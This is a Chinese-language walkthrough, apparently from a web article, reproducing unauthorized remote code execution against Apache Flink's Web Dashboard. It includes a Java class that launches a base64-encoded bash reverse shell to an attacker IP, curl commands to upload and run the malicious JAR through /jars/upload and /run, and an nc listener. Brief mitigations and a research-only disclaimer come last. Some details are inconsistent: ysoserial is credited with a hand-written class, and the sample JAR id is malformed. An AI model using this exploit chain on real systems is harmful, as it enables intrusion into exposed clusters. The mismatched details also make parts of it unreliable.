# Apache Flink未授權訪問遠程代碼命令執行的復現
## 0x00 漏洞背景
Apache Flink作為開源的流處理框架,在大數據處理領域廣泛應用。其Web Dashboard默認監聽8081端口,若未正確配置安全策略,攻擊者可能通過未授權訪問實現遠程代碼執行(RCE)。該漏洞影響多個Flink版本,屬于高危風險。
## 0x01 環境搭建
### 實驗環境
- 攻擊機:Kali Linux 2023.1 (IP: 192.168.1.100)
- 靶機:Ubuntu 20.04 + Apache Flink 1.11.2
- 工具:Burp Suite、curl、nc
### 靶機部署
```bash
# 下載Flink
wget https://archive.apache.org/dist/flink/flink-1.11.2/flink-1.11.2-bin-scala_2.11.tgz
tar -xzf flink-1.11.2-bin-scala_2.11.tgz
cd flink-1.11.2
# 啟動集群(默認不啟用認證)
./bin/start-cluster.sh
訪問http://<target>:8081
,若直接顯示Dashboard且無需認證,則存在未授權訪問:
curl -I http://192.168.1.200:8081
HTTP/1.1 200 OK
Content-Type: text/html
關鍵危險接口:
- /jars/upload
:上傳JAR文件
- /jars/<jar-id>/run
:執行JAR包
- /jars/<jar-id>/plan
:獲取執行計劃
使用ysoserial生成反彈shell的JAR:
// EvilJob.java
public class EvilJob {
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}");
}
}
編譯打包:
javac EvilJob.java
jar cvf evil.jar EvilJob.class
通過API接口上傳:
curl -X POST -F "jarfile=@evil.jar" http://192.168.1.200:8081/jars/upload
返回示例:
{
"filename": "evil.jar",
"status": "success",
"id": "a1b2c3d4-5678-90ef-ghij-klmnopqrstuv.jar"
}
curl -X POST "http://192.168.1.200:8081/jars/a1b2c3d4-5678-90ef-ghij-klmnopqrstuv.jar/run"
curl -X POST "http://192.168.1.200:8081/jars/a1b2c3d4-5678-90ef-ghij-klmnopqrstuv.jar/plan" \
-H "Content-Type: application/json" \
-d '{"programArgs":"--host 192.168.1.100 --port 4444"}'
攻擊機監聽:
nc -lvnp 4444
成功獲取到目標系統的shell權限。
POST /jars/upload HTTP/1.1
Host: 192.168.1.200:8081
Content-Type: multipart/form-data
Content-Length: 1234
[惡意JAR文件二進制數據]
/jars/upload
和/run
請求網絡層隔離:
iptables -A INPUT -p tcp --dport 8081 -s trusted_ip -j ACCEPT
iptables -A INPUT -p tcp --dport 8081 -j DROP
配置文件修改(flink-conf.yaml):
web.submit.enable: false
security.ssl.enabled: true
security.kerberos.login.keytab: /path/to/keytab
security.kerberos.login.principal: flink-user
漏洞成因在于: 1. 默認無認證:Web UI/API未強制身份驗證 2. 危險功能暴露:允許任意用戶提交執行Job 3. 反序列化風險:Flink使用Java序列化機制
攻擊流程圖:
graph TD
A[發現開放8081端口] --> B[訪問Web UI]
B --> C{是否需要認證}
C -->|否| D[上傳惡意JAR]
C -->|是| E[停止攻擊]
D --> F[觸發執行]
F --> G[獲取RCE]
”`
(注:實際執行漏洞利用需獲得合法授權,本文僅作技術研究用途)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。